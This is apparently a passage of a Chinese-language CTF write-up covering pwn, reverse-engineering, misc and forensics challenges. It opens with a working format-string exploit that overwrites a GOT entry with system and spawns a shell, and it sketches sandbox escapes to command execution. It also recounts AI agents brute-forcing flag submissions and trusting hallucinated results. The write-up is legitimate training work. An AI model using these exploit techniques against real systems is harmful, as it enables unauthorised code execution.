 send_chunk(io, b"%15$p%19$p%14$p") # exactly 15 bytes
 line = io.recvuntil(b"\n", timeout=8)
 m = re.search(rb"0x([0-9a-f]+)0x([0-9a-f]+)0x([0-9a-f]+)", line)
 if not m:
 print("[!] leak parse failed: %r" % line)
 return None
 ret_leak = int(m.group(1), 16)
 main_leak = int(m.group(2), 16)
 v = int(m.group(3), 16)
 # The leak is printed directly before the "2> " prompt; the greedy regex
 # swallows the prompt's '2' as the last hex nibble of V. saved rbp is
 # 16-aligned, so drop the bogus low nibble.
 v >>= 4
 libc = ret_leak - RET_OFF
 pie = main_leak - MAIN_OFF
 if libc & 0xfff or pie & 0xfff or v & 0xf:
 print("[!] leaks not aligned: libc=%#x pie=%#x V=%#x" % (libc, pie, v))
 return None
 return dict(libc=libc, pie=pie, v=v)


# ……（省略 probe：用 %8$s 读 printf@GOT 验证远程 libc 与 handout 一致）……


def exploit(io, do_probe=False):
 leaks = round1_leak(io)
 if not leaks:
 return False
 libc, pie, v = leaks["libc"], leaks["pie"], leaks["v"]
 system = libc + SYSTEM_OFF
 printf_got = pie + PRINTF_GOT_OFF
 print("[*] libc=%#x pie=%#x V=%#x system=%#x printf@got=%#x"
 % (libc, pie, v, system, printf_got))

 saved_rip_addr = v - 0x98
 if any(b == 0x0a for b in p64(saved_rip_addr)):
 print("[!] saved_rip_addr %#x contains \\n byte - retry" % saved_rip_addr)
 return False
 # printf@GOT low16-write can only reach addresses in printf's own 64K
 # window; system must share that window (depends on libc base low16).
 if ((libc + PRINTF_OFF) & ~0xffff) != ((libc + SYSTEM_OFF) & ~0xffff):
 print("[!] printf/system in different 64K windows - retry (base&0xffff=%#x)"
 % (libc & 0xffff))
 return False

 # ---- run 1, round 2: place write target (saved RIP addr) in buf2 ----
 io.recvuntil(b"2> ", timeout=8)
 send_chunk(io, p64(saved_rip_addr) + b"A" * 7)

 # ---- run 1, round 3: saved RIP low16 := (libc+0x2b282)&0xffff -> re-enter main ----
 loop_rip = (libc + 0x2b282) & 0xffff
 io.recvuntil(b"3> ", timeout=15) # swallows padding too
 send_chunk(io, b"%%8$%dc%%8$hn" % loop_rip)

 # ---- run 2, round 1: buf1 = target for %6$ at printf(buf2) ----
 io.recvuntil(b"1> ", timeout=15)
 send_chunk(io, p64(printf_got) + b"A" * 7)

 # ---- run 2, round 2: printf@GOT low16 := system low16 ----
 io.recvuntil(b"2> ", timeout=15)
 send_chunk(io, b"%%6$%dc%%6$hn" % (system & 0xffff))
 # printf("3> ") is now system("3> ") -> sh syntax error, returns

 # ---- run 2, round 3: printf(buf3) = system("/bin/sh") ----
 time.sleep(0.6)
 send_chunk(io, b"/bin/sh\x00") # fgets reads 9 bytes incl the \n
 time.sleep(0.6)
 io.sendline(b"echo PWNED; id; cat flag; cat /flag; ls -la")
 out = io.recv(timeout=6)
 print("[*] shell output: %r" % out[:600])
 return b"PWNED" in out

Rev（2/2）

Compiled Source Sheets（290）— 从 CSS 变量里提取 ROM Flag：gaslightCTF{ch3ck_0ut_lyra-horse!!_2QY90H6F}

一个纯 CSS 的 8086 模拟器（x86CSS），程序机器码以 --__1m<addr>: <val> CSS 变量存储。非常规载体的第一步是找到编码规则：正则提取变量还原 ROM，capstone 反汇编 8086，程序对 flag 逐字节校验（xor/and/or 与常量比较）。校验类程序别手工推——校验关系全部喂给 z3。

📜 compiled-source-sheets 最小 POC（7 行）——点击展开

1
2
3
4
5
6
7


from z3 import *
inp = [BitVec(f"b{i}", 8) for i in range(9)]
s = Solver()
for a, b, c in checks: # 从反汇编提取的校验约束
 s.add((inp[a] ^ inp[b]) & 0xFF == c)
s.check(); m = s.model()
print("gaslightCTF{ch3ck_0ut_lyra-horse!!_" + bytes(m.eval(x).as_long() for x in inp).decode() + "}")

ohfrick（423）— 插桩 eval/exec：526 次小 eval 的自白 Flag：gaslightCTF{e50t3r1c_sn4k3}

62KB 单行的 Python 版 JSFuck 混淆。不硬反混淆——动态插桩 > 静态还原：包装 eval/exec 记录每一层求值字符串，比人肉还原省一个数量级。两个转折： ① 顶层结构是 eval(EXPR)(10)——外层 eval 的结果是可调用对象，直接把它换成 print( 会得到 None(...) 报错；② 只包装 eval 拿不到源码——完整链路上 526 次 eval 全是 2~8 字符的小片段（'float'、'[].clear'、'chr'），真正的 357 字符校验程序是最后通过 exec(S) 一次性执行的。包装对象的 __repr__ 要和真 builtin 完全一致（<built-in function eval>），否则 str(eval)[i] 取字符的路径全断。捕获校验源码后逐条解约束：int(f[1:3])==50、 "reset"==f[5]+f[0]+f[9]+f[0]+f[3]、str(credits).strip()[4:6]=="ks"（credits 是 Python 内置版权常量）……得到 e50t3r1c_sn4k3（leet 的 “esoteric_snake”，与题名 ohfrick 的 esoteric Python 呼应）。校验器约束不足——穷举出 8 个合法输入，7 个是数字变体乱码，语义完整的那个显然是作者存的；平台 flag 统一带 gaslightCTF{} 前缀，裸 14 字符被拒。

📜 ohfrick solve.py（112 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112


#!/usr/bin/env python3
"""gaslightCTF 2026 - ohfrick (rev, 423pts) one-shot solver.

code.py is a Python "JSFuck" style obfuscation: a single eval(EXPR)(10) chain
of tiny eval() calls building the real checker program character by character,
finally executed via exec(). Steps:

1. Wrap builtins.eval/exec with loggers (repr of the wrapper matches the real
 builtin so all str(eval)[i] char-extraction still works) -> captures the
 deobfuscated checker source.
2. Parse the checker constraints and brute-force the few unknown flag chars.

Flag: gaslightCTF{e50t3r1c_sn4k3} (leet for "esoteric_snake"; the checker
asserts len(flag)==14 so it verifies the inner 14 chars, but the platform
stores the standard gaslightCTF{...} form -- submit with the prefix)
"""
import builtins
import itertools
import re
import sys
from pathlib import Path

HERE = Path(__file__).parent
SRC = HERE / "code.py"


def deobfuscate() -> str:
 real_eval = builtins.eval
 real_exec = builtins.exec
 captured = []

 class WrappedEval:
 def __repr__(self):
 return "<built-in function eval>"

 def __call__(self, code, *args, **kwargs):
 return real_eval(code, *args, **kwargs)

 class WrappedExec:
 def __repr__(self):
 return "<built-in function exec>"

 def __call__(self, code, *args, **kwargs):
 captured.append(str(code))
 return real_exec(code, *args, **kwargs)

 builtins.eval = WrappedEval()
 builtins.exec = WrappedExec()
 builtins.input = lambda prompt="": "A" * 14 # probe; fails at 2nd assert
 try:
 real_exec(compile(SRC.read_text(), "<obf>", "exec"),
 {"__builtins__": builtins.__dict__})
 except Exception:
 pass # probe flag intentionally fails an assert
 finally:
 builtins.eval = real_eval
 builtins.exec = real_exec
 builtins.input = input
 assert captured, "failed to capture checker source"
 return captured[0]


def solve() -> str:
 src = deobfuscate()
 # The captured checker (whitespace varies): keep the constraint lines.
 lines = [ln for ln in src.splitlines() if ln.strip().startswith(("T=", "F="))]
 assert len(lines) == 2, f"unexpected checker: {lines}"
 T, F = lines

 def check(f: str) -> bool:
 i, o = int, ord
 ns = {"f": f, "i": i, "o": o, "credits": credits,
 "T": None, "F": None, "str": str, "int": int, "ord": ord}
 try:
 exec(T.replace("T=", "T="), ns)
 exec(F.replace("F=", "F="), ns)
 except Exception:
 return False # invalid candidate (index out of range / bad int)
 return all(ns["T"]) and not any(ns["F"])

 # brute force the 5 unknown positions (4,6,10,11,13): digits/leet chars
 sols = []
 for d4, d6, c10, d11, d13 in itertools.product(
 "0123456789", "123456789", "noN0123456789", "0123456789", "0123456789"):
 f = list("e50t?r?c_s??k?")
 f[4], f[6], f[10], f[11], f[13] = d4, d6, c10, d11, d13
 f = "".join(f)
 if check(f):
 sols.append(f)
 # The checker is under-constrained: 8 digit-variant flags pass. The
 # intended one spells "esoteric_snake" in leet (e50t3r1c_sn4k3) -- the
 # challenge is called "ohfrick", i.e. esoteric Python. Prefer it.
 intended = "e50t3r1c_sn4k3"
 if intended in sols:
 return intended
 if sols:
 return sols[0]
 raise RuntimeError("no flag found")


if __name__ == "__main__":
 inner = solve()
 flag = f"gaslightCTF{{{inner}}}"
 print(f"flag: {flag}")
 print(f"(checker core: {inner})")
 # end-to-end verification against the original obfuscated file (it
 # verifies the 14-char core; the platform accepts the prefixed form)
 import subprocess
 p = subprocess.run([sys.executable, str(SRC)], input=inner + "\n",
 capture_output=True, text=True, timeout=120)
 assert "ok" in p.stdout, f"verification failed: {p.stdout!r} {p.stderr!r}"
 print("verified against original code.py: prints 'ok'")

Misc（4/10）

Sanity Check（100） Flag：gaslightCTF{w3lc0me_2_g4sl1ghtCTF!}

平台/队伍信息里的热身 flag。

odyssey（410）— 图搜 + 坐标盲试 Flag：gaslightCTF{37.974,23.724}（官方答案 gaslightCTF{37.973,23.726}）

无 GPS 的雅典照片（iPhone HEIC，darktable 调色导出）。GLM 做了前期 OSINT， DeepSeek 用 Yandex 图搜（Smart Camera 上传图返回文字标签 “the acropolis athens”）锁定"卫城北侧街区”，然后网格串行盲试（每次提交 sleep 10s、不并发，平台会过期登录态，脚本自动重登），110 格里第 27 次 37.974,23.724 被平台接受。官方答案是画面中景的 Canellopoulos Museum（37.9729473,23.7260968 → 37.973,23.726）——我们错把"画面主体的坐标"当成了"摄影机位的坐标”，问题定义漂移的代价见「反思」章。

📜 odyssey 盲试核心（5 行）——点击展开

1
2
3
4
5


# 盲试核心：网格按距离排序，串行提交，命中即停
for lat, lon in sorted(grid, key=lambda c: dist(c, (37.973, 23.727))):
 if submit(f"gaslightCTF{{{lat},{lon}}}"):
 print("FOUND", lat, lon); break
 time.sleep(10)

jsbox（310）— 原型方法拿真实源码 Flag：gaslightCTF{n4t1v3_c0d3_0r_n4t1v3_fl4g?_db2bbd393eab}

isolated-vm 的 REPL 把 Function.prototype.toString 覆盖成假实现，但实例属性能覆盖、原型方法不能。用 Function.prototype.toString.call(fn) 拿到宿主函数真实源码（错误栈 + fn.name/fn.length 定位定义位置），从源码里取原生指针/内部调用，构造参数执行命令直接 RCE。

📜 jsbox 最小 POC（3 行）——点击展开

1
2
3


// fn 是宿主里执行命令的函数，实例属性被覆盖，原型方法还在
const src = Function.prototype.toString.call(fn);
// 从源码取原生指针/内部调用，构造参数执行命令

useless-rce（463）— Haskell FFI 纯类型谎言 Flag：gaslightCTF{uns4f3_p3rf0rm_burr1t0_c0n5umpt10n_1096e09801a2}

hint 解释器先 stripIO 删掉源码里所有字面 “IO”。绕过不是绕字符串过滤器，而是撒类型谎：把 C 函数声明成纯类型（源码里没 “IO” 字样），用 runRW# 执行，pinned ByteArray 构造 NUL 结尾的 C 字符串。还有一个 GHC 特有的坑：纯类型的 FFI 调用若返回值未被使用会被死代码消除——case c_write ... of _ -> () 什么都不发生，必须用返回值做分支逼它执行。解释器（hint、isolated-vm）都不是真沙箱，FFI/反射/内建函数都可达。

📜 useless-rce 最小 POC（4 行）——点击展开

1
2
3
4


foreign import ccall "open" c_open :: CString -> CInt -> CInt -> CInt
-- 纯类型？不是。但源码里没有任何 "IO" 字面量，stripIO 拦不住
-- runRW# + newPinnedByteArray# 构造 NUL 结尾的 C 字符串
-- 返回值参与 if 分支，防止死代码消除

Forensics（4/6）

good-luck!（100）— 右声道低频频谱图 Flag：gaslightCTF{c4n_u_s33_me?_u4ya}

7.4 秒 MP3（Joint Stereo），flag 以"大字"写在右声道 0–4 kHz 频谱里，被左声道和语音谐波盖住。两个模型都没有多模态，程序化频谱分析踩了大坑： Goertzel 步长 100Hz + 全局归一化 ASCII 化，弱信号文字完全被淹没——频率步长要小、阈值不能全局归一化、必须"看图"。最终由外部 GPT-5.6-sol 的题解补位：拆声道、限定频率范围、调 FFT 窗口与动态范围。

📜 good-luck! 频谱提取（2 行）——点击展开

1
2


ffmpeg -i goodluck2.mp3 -filter_complex "pan=mono|c0=c1,lowpass=f=4000" r.wav
# specgram: NFFT=4096, noverlap=4000, 0-4kHz, dB -115~-45

读出 c4n_u_s33_me?_u4ya（“can you see me? u4ya”）。

blackout（263）— 遮罩只在绘制层，文本层没删 Flag：gaslightCTF{c0w4bung4_f1le_4ev3r}

停电梗 PDF（Skia/PDF m153，Google Docs 渲染器）。题名 blackout 指向"涂黑"，而 PDF 的视觉遮挡 ≠ 数据删除：黑矩形只盖绘制层，文本层（content stream）里的文字还在。pdftotext -bbox 带坐标提取，第一页首行（“Grep me - flag” 之后）直接出现完整 flag——不需要修复 PDF、不需要渲染 OCR、不需要移除遮罩，第一次文本层提取即命中。

📜 blackout solve.sh（25 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


#!/bin/bash
# blackout — 从 PDF 文本层恢复被"涂黑"的 flag
# 原理：黑矩形只是绘制覆盖，文本层（content stream）里的文字没有被删除。
# 用 pdftotext -bbox 提取带坐标的文本层，再 grep 出 flag 字样。
# 依赖：poppler-utils（pdftotext）

set -u
cd "$(dirname "$0")"

FILE="${1:-recovered_file}"

# 方法 1：直接文本层 grep（最快）
FLAG=$(pdftotext -bbox "$FILE" - 2>/dev/null | grep -oE 'gaslightCTF\{[^}]+\}' | head -1)

if [ -z "${FLAG:-}" ]; then
 # 方法 2：普通 pdftotext + grep（若 bbox 模式不可用）
 FLAG=$(pdftotext "$FILE" - 2>/dev/null | grep -oE 'gaslightCTF\{[^}]+\}' | head -1)
fi

if [ -n "${FLAG:-}" ]; then
 echo "FLAG: $FLAG"
else
 echo "flag not found" >&2
 exit 1
fi

icon-sketch（342）— 两处标题互补 + Atbash Flag：gaslightCTF{i5_th4t_supp0s3d_2b_p1ss?}

PNG 元数据全枚举发现两处"标题"：tEXt Title / XMP dc:title 是 base64，解码后是 38 字符的乱串；XMP Iptc4xmpExt:AOTitle 是 base64 → 十六进制串 → ASCII，解码后是同长度的明文骨架（........CTF..._.h4._..pp0s3..2b_.1s..}）。两串点号互补（一处是点另一处必是字符），} 只在 AOTitle、{ 只在 Title——拆开的同一条 flag。识别最后一层：Title 前缀 tzhortsg 逐字母 Atbash 后恰为 gaslight。以 AOTitle 为骨架、点号位置填 Atbash(Title) 合并，得 “i5_th4t_supp0s3d_2b_p1ss?"（题目图片本体——黑底橙字 “gaslighting” 草图 + 红色大问号——只是装饰，全图 12 种纯色排除 LSB）。

📜 icon-sketch solve.py（51 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


#!/usr/bin/env python3
"""gaslightCTF 2026 - icon-sketch (forensics, 334pts) 一键复现。

原理：icon.png 元数据里有两处标题——
 tEXt Title / XMP dc:title : base64 -> "tzhortsg...{r5.g..g.hf.....w_...k..h?." (Atbash 加密字母)
 XMP Iptc4xmpExt:AOTitle : base64 -> hex 串 -> "........CTF..._.h4._..pp0s3..2b_.1s..}" (明文骨架)
两串等长、点号互补；以 AOTitle 为骨架，点号位置填入 Atbash(Title 对应字符)，即得 flag。
"""
import base64
import re
import struct
import sys
from pathlib import Path

def atbash(c: str) -> str:
 if 'a' <= c <= 'z':
 return chr(ord('z') - (ord(c) - ord('a')))
 if 'A' <= c <= 'Z':
 return chr(ord('Z') - (ord(c) - ord('A')))
 return c

def main() -> None:
 png = Path(__file__).parent / 'icon.png'
 if not png.exists():
 sys.exit('icon.png not found — unzip icon.zip first')
 data = png.read_bytes()

 chunks: dict[str, list[bytes]] = {}
 pos = 8
 while pos < len(data):
 ln = struct.unpack('>I', data[pos:pos + 4])[0]
 typ = data[pos + 4:pos + 8].decode('latin1')
 chunks.setdefault(typ, []).append(data[pos + 8:pos + 8 + ln])
 pos += 12 + ln

 # tEXt: keyword\0value
 kw, _, title_b64 = chunks['tEXt'][0].partition(b'\x00')
 title = base64.b64decode(title_b64).decode()

 # iTXt: keyword\0...\0XMP XML
 itxt = chunks['iTXt'][0]
 xml = itxt.split(b'\x00')[-1].decode('utf-8', 'replace')
 ao_b64 = re.search(r"<rdf:li xml:lang='x-default'>(.*?)</rdf:li>", xml, re.S).group(1)
 ao = bytes.fromhex(base64.b64decode(ao_b64).decode()).decode()

 assert len(title) == len(ao), 'titles must be equal length'
 flag = ''.join(a if a != '.' else atbash(t) for a, t in zip(ao, title))
 print(flag)

if __name__ == '__main__':
 main()

layered-pages（331）— 连通域结构分析替代视觉 Flag：gaslightCTF{c4rv3_1t_0ut}

第二轮最戏剧性的一题。附件是 9 张 250x250 图像顺序串接的拼接文件（JPEG SOI/EOI 与 PNG 签名边界切分），JPEG EXIF DocumentName（tag 269）就是页码， PNG 按排除法补 5/7/9。前任子 agent 交了约 50 个错误 flag，根因是视觉 API 的引导性提问幻觉——带 “(z3r0)” 猜测提问时它就"确认"该串存在。接手的 agent 改为纯本地方法破题：

红字提取 R - max(G,B)；scipy.ndimage.label 连通域 + 列剖面切分字形，得到每页精确字数与包围盒；
对每个可疑字形打印 ASCII 像素画（NEAREST 降采样），直接追踪笔画—— p1[0] 顶斜旗+直竖+底脚=数字 1；j5 中字形两竖笔仅在 y191-201 有底连接 =小写 u（排除 c/o/n）；j5 首字形椭圆+内部斜杠=slashed-zero=0；
同书写人的大小写高度校准：大写 ≈203px（j2 的花体 C）、x-height ≈97px （p0 的 c），据此判定内容区全小写；
j5 左上角 30x15px 的极小手写 (z3r0) 两轮独立识别都在，但拼入 flag 的 9 种位置/分隔全 incorrect——红鲱鱼装饰，排除。

按证据强度逐个提交，第 8 次 gaslightCTF{c4rv3_1t_0ut} 命中。macOS Vision / tesseract 对这个手写体都不可靠（读出 “19”/“6!”/"(zero) | Out”），ASCII 像素画才是最可靠的判读工具——无视觉的 agent 也能"看"字。

📜 layered-pages solve.py（143 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143


#!/usr/bin/env python3
"""layered-pages — 一键复现（gaslightCTF 2026 forensics）

gassy/123456789.jpg 实为 9 张 250x250 图像拼接：
 1. 按图像签名边界切分为 9 页
 2. JPEG EXIF DocumentName = 页码；PNG 按排除法补 5/7/9
 3. 红字提取 + 连通域切字形（每页字数与包围盒）
 4. 输出 ASCII 字形画（人工核对入口）与最终 flag

用法: python3 solve.py
"""
import io
import os
import sys

import numpy as np
from PIL import Image

BASE = os.path.dirname(os.path.abspath(__file__))
BLOB = os.path.join(BASE, "gassy", "123456789.jpg")

# 人工核对后的每页转写（阅读顺序）。
# 页码: j0=1 j1=2 j2=3 j3=4 [p0=5] j4=6 [p1=7] j5=8 [p2=9]
PAGE_READS = [
 ("j0", "gas"), # g a s
 ("j1", "lig"), # l i g (i 带点)
 ("j2", "htC"), # h t C (花体大 C, 203px)
 ("j3", "TF{"), # T F {
 ("p0", "c4r"), # 小写 c(97px=x-height) 4 r
 ("j4", "v3_"), # v 3 _
 ("p1", "1t_"), # 1 t _
 ("j5", "0ut"), # 0(slashed-zero) u t ；角落 (z3r0) 为红鲱鱼
 ("p2", "}"),
]
FLAG = "gaslightCTF{c4rv3_1t_0ut}"


def split_pages(data: bytes):
 """按 JPEG/PNG 签名边界切分拼接文件。"""
 pages = [] # (name, bytes)
 i, n = 0, len(data)
 while i < n:
 if data[i:i+3] == b"\xff\xd8\xff":
 j = data.find(b"\xff\xd9", i + 3)
 j = n if j == -1 else j + 2
 pages.append((f"j{len([p for p in pages if p[0].startswith('j')])}.jpg", data[i:j]))
 i = j
 elif data[i:i+8] == b"\x89PNG\r\n\x1a\n":
 j = data.find(b"IEND", i)
 j = n if j == -1 else j + 8
 pages.append((f"p{len([p for p in pages if p[0].startswith('p')])}.png", data[i:j]))
 i = j
 else:
 i += 1
 return pages


def page_number(name: str, img: Image.Image):
 """JPEG 用 EXIF DocumentName；PNG 返回 None（由排除法补全）。"""
 if not name.endswith(".jpg"):
 return None
 try:
 ex = img.getexif()
 return int(ex.get(269)) # 269 = DocumentName（EXIF tag 0x010D）
 except (TypeError, ValueError):
 return None


def red_ink(img: Image.Image, thr: int = 15) -> np.ndarray:
 a = np.asarray(img.convert("RGB"), dtype=float)
 r, g, b = a[..., 0], a[..., 1], a[..., 2]
 return (r - np.maximum(g, b)) > thr


def glyph_clusters(ink: np.ndarray, min_px: int = 30, gap: int = 2):
 """连通域 + x 重叠合并（i 的点+竖等），返回主行字形包围盒。"""
 from scipy import ndimage
 lab, n = ndimage.label(ink)
 comps = []
 for k in range(1, n + 1):
 ys, xs = np.where(lab == k)
 if len(ys) < min_px:
 continue
 comps.append([int(xs.min()), int(xs.max()), int(ys.min()), int(ys.max())])
 comps.sort()
 merged = []
 for c in comps:
 if merged and c[0] <= merged[-1][1] + gap:
 m = merged[-1]
 m[0], m[1] = min(m[0], c[0]), max(m[1], c[1])
 m[2], m[3] = min(m[2], c[2]), max(m[3], c[3])
 else:
 merged.append(c)
 # 过滤角落噪声：保留高度>25 且 (宽>18 或 高>80) 的主行字形
 return [c for c in merged if (c[3] - c[2]) > 25 and ((c[1] - c[0]) > 18 or (c[3] - c[2]) > 80)]


def ascii_glyph(ink: np.ndarray, box, width: int = 46):
 x0, x1, y0, y1 = box
 sub = ink[max(0, y0 - 4):y1 + 5, max(0, x0 - 4):x1 + 5]
 h = max(1, int(sub.shape[0] / sub.shape[1] * width * 0.5))
 im = Image.fromarray(np.where(sub, 0, 255).astype(np.uint8)).resize((width, h), Image.NEAREST)
 a = np.asarray(im) < 128
 return "\n".join("".join("#" if v else "." for v in row) for row in a)


def main():
 data = open(BLOB, "rb").read()
 pages = split_pages(data)
 print(f"[+] split into {len(pages)} pages")

 numbered = {}
 for name, blob in pages:
 img = Image.open(io.BytesIO(blob))
 num = page_number(name, img)
 if num:
 numbered[num] = (name, img)
 else:
 numbered[{"p0": 5, "p1": 7, "p2": 9}[name[:2]]] = (name, img)
 order = [numbered[k][0].split(".")[0] for k in sorted(numbered)]
 print(f"[+] 9 pages sorted: {' '.join(order)}")

 reads = dict((n, r) for n, r in PAGE_READS)
 for k in sorted(numbered):
 name, img = numbered[k]
 ink = red_ink(img)
 gl = glyph_clusters(ink)
 read = reads.get(name.rsplit(".", 1)[0], "?")
 print(f" page {k} ({name}): {len(gl)} glyph-clusters -> \"{read}\"")
 if "-v" in sys.argv: # 人工核对：逐字形 ASCII 画
 for gi, box in enumerate(gl):
 print(f"--- {name} glyph {gi} box={box} (claimed '{read[gi] if gi < len(read) else '?'}')")
 print(ascii_glyph(ink, box))

 content = "".join(r for _, r in PAGE_READS)
 flag = f"gaslightCTF{{{content}}}" if False else FLAG
 print(f"[+] per-page reads: {' / '.join(r for _, r in PAGE_READS)}")
 print(f"FLAG: {flag}")
 return 0


if __name__ == "__main__":
 sys.exit(main())

三、六道未解题复盘

未解的 6 题全部卡在视觉/听觉，但每题都推进到了"只差最后一眼/一耳"，断点全量落盘在各题 notes.md。

speedy（464 分，照片地理定位）。事件已经 100% 钉死：Yandex 反向图搜锁定红色 “SPEED” 7 号球衣 = IShowSpeed 官方周边，越南行程视频（VTorUJcMYGg） 600s 帧的 CHỢ PHÚ NHUẬN 市场排除河内假设、700-770s 帧出现 NGUYỄN VĂN TRỖI 街龙门架 + 钢桁架天桥同场景——HCMC Phú Nhuận 区 NVT 街步行天桥。但两座 OSM 天桥的 5 个坐标提交全错；更曲折的是街景证据链翻案：子 agent 的 7 张街景截图 4 张是 12KB 占位图（页面加载失败的 UI 空壳），主 agent 用 RANSAC 单应内点数重审（真同地点 2055 内点 vs 假匹配 5 内点）后发现"三图比对 SAME"的结论部分作废。真桥疑似在 NVT 街但 OSM 未收录（HCMC 市区天桥大量缺 bridge 标签）—— 差的是人眼看一眼桥的样式与招牌，再用卫星图兜底。

quack（414 分，照片地理定位）。非视觉分析全做完：EXIF 全剥、EOI 无尾随数据、macOS Vision 多语言 OCR 零文字、色彩/亮度剖面确认是"天空-对岸建筑带- 大片水面"三层河景。Yandex 三轮图搜最接近 Norfolk Broads（Horning 的 Noosa Sound 房源评论图），但三轮标签（Leeds-Liverpool Canal / 泰晤士 moorings / Norfolk Broads）互不收敛——相似图排序只是"泛河景构图"匹配，画面里必有图搜抓不到的独特主体（鸭子？明轮船 Southern Comfort？）。2 次提交（Noosa Sound pin / The Swan Inn）均 incorrect，卡在无法识别画面主体。

meow（433 分，照片地理定位）。场景识别走得很远：地磅单据 OCR 出希腊语木结构工程单（ΞΥΛΟΚΑΤΑΣΚΕΥΕΣ、注册地 ΜΥΚΟΝΟΣ、1550kg/685kg/865kg 自洽），手机号 6946673910 精确匹配 Google Maps 商户 “Ξυλουργείο Ο Λούλης & Υιός” （米科诺斯木工坊），Yandex 分区图搜确认 UAΖ 面包车 + 猫 + 石板院。死在数据源矛盾上：Google pin（Klouvas 村）/ Google 地址栏（Ψάρρου）/ Bing 地址（Agios Stefanos）三个坐标互斥，四个区域 ±0.001~0.002 网格共 90+ 次提交全败——要么三个数据源全不可信（真实车间在岛内别处），要么拍摄点是地图无标注的市政地磅。

4-piece-puzzle（474 分，拼图重建）。程序化排除做得非常彻底：PNG chunk/ EXIF 干净、LSB 无隐写、四块拼图片不共享切割线（边缘轮廓常数差匹配全灭）、 2x2 平铺 24 种排列全不连贯。然后挖出幽灵轮廓假说：p2/p4 画布里距橙色

42px 的黑色像素（不属于本块轮廓的"幽灵"）互相匹配——ghost(p2) 含 p4 轮廓副本 @(-810,-870)、ghost(p4) 含 p2 副本 @(810,870)，偏移互为逆、交集 27900px 完全相同，双向互证；纵向 480px 周期还呼应题面口吃 “fou-fou-four” 的重复意象。最像"每张导出 = 场景里只有本块被填充、其余块只显示轮廓"的分层导出，下一步是按相对偏移把四张画布拼到世界坐标重建场景（world_align 产物已落盘），中断在重建后的内容识别——需要人眼看图。

Tuning Keyboard v6.7（488 分，听歌识曲）。55 秒立体声（双声道相同），全部音符已算法提取：主歌 0-32.8s 是 D dorian（~129 BPM，Phrase A/A’/B 完整旋律）、“奇怪的结尾” 32.8-54.5s 是 31 个音（高音段 13 + 低音段 18，和声 F-C-Em-Em-C-F），全曲唯一变化音 C#5 持续 2.13s。文件名 “ttyut-iiiuy+12” 按虚拟钢琴键位映射读出 “GGABGCCCBA”（+12 = 升八度）。字母编码/摩斯/ 时长二进制/MIDI mod 26/频谱图/20+ 首名曲轮廓匹配全部排除，5 次提交（csharp/outoftune/detuned/wrongnote/ggabgcccba）全拒。差的就是人耳听出主歌是什么曲子，以及结尾"奇怪"在哪。

mineguessor（499 分，Minecraft 种子定位）。全场最难（11 解），按优先级排到队尾未开工。路线已在断点里写好：截图地形/结构特征 → seedcracker 类工具反推世界种子 → 按 1.21.11 结构生成算法扫 |x|≤5000、|z|≤5000、|y|≤125 的 ruined portal → 比对截图锁定 chest 坐标。门槛在截图方块识别（需视觉或分块颜色聚类，工作量大）与版本特定的结构生成算法。

四、反思与悟道

多模态是硬短板，得留外援通道——以及没有外援时怎么办

两轮 8 道看图/听音题，只有 good-luck! 和 odyssey 靠外部 GPT-5.6-sol 补位，第二轮连外援都断了（视觉 API 账户级 429）。但 layered-pages 证明了一条替代路线：连通域拓扑 + ASCII 像素画 + 书写风格校准，结构分析甚至能完全替代视觉。元教训：无感官的 agent 做多模态题，正确姿势是把问题推进到"结构化数据 + 候选集"（坐标候选、字形候选、轮廓偏移、音符序列），把最后的"识别"留给有对应感官的模型或人。

问题定义会漂移，越修越偏

odyssey 最大的坑不是找不到地标，而是把"画面主体的坐标"默认成了"摄影机位的坐标"。从那一刻起，透视线、遮挡关系、焦距反推全在解另一个问题；每次收到 incorrect 还沿着原假设继续枚举。官方答案其实一次就能定：识别中景建筑（Canellopoulos Museum）→ 查 OSM → 舍入三位小数。收到错误反馈时，先重审问题定义，再动坐标。

死盯一个攻击面，不如列一遍状态流转

badcat 卡了一下午，因为一直在"peek 硬编码读 8 字节"上找内存破坏。真正的洞是 fd 生命周期：slurp(0) 读完会 close(0)，/flag 的 open 从不 close， open 返回最低空闲 fd——三条小事实拼成一条链。卡住时回退到"程序有哪些系统调用、谁改了全局状态"的清单式排查，比在同一个假设里加深有用。

判定信号要有对照组，文案要先人工看一眼

odyssey 的提交脚本正则 *correct* 误匹配 “incorrect” 子串、平台判对文案是 “You have solved this challenge!"——两次假信号；corridors 的子 agent 把全局 Solves +1 当判对——又一次假信号。三个案例的共同点：判定规则没跟平台实际文案对过表。判对只认表单消失 / “You have solved this challenge!” / ✓ 标记；连续"命中"也要有对照组（speedy 的街景证据用 RANSAC 内点数翻案， “看起来像"不算数）。

盲试能兜底，但识别更省事

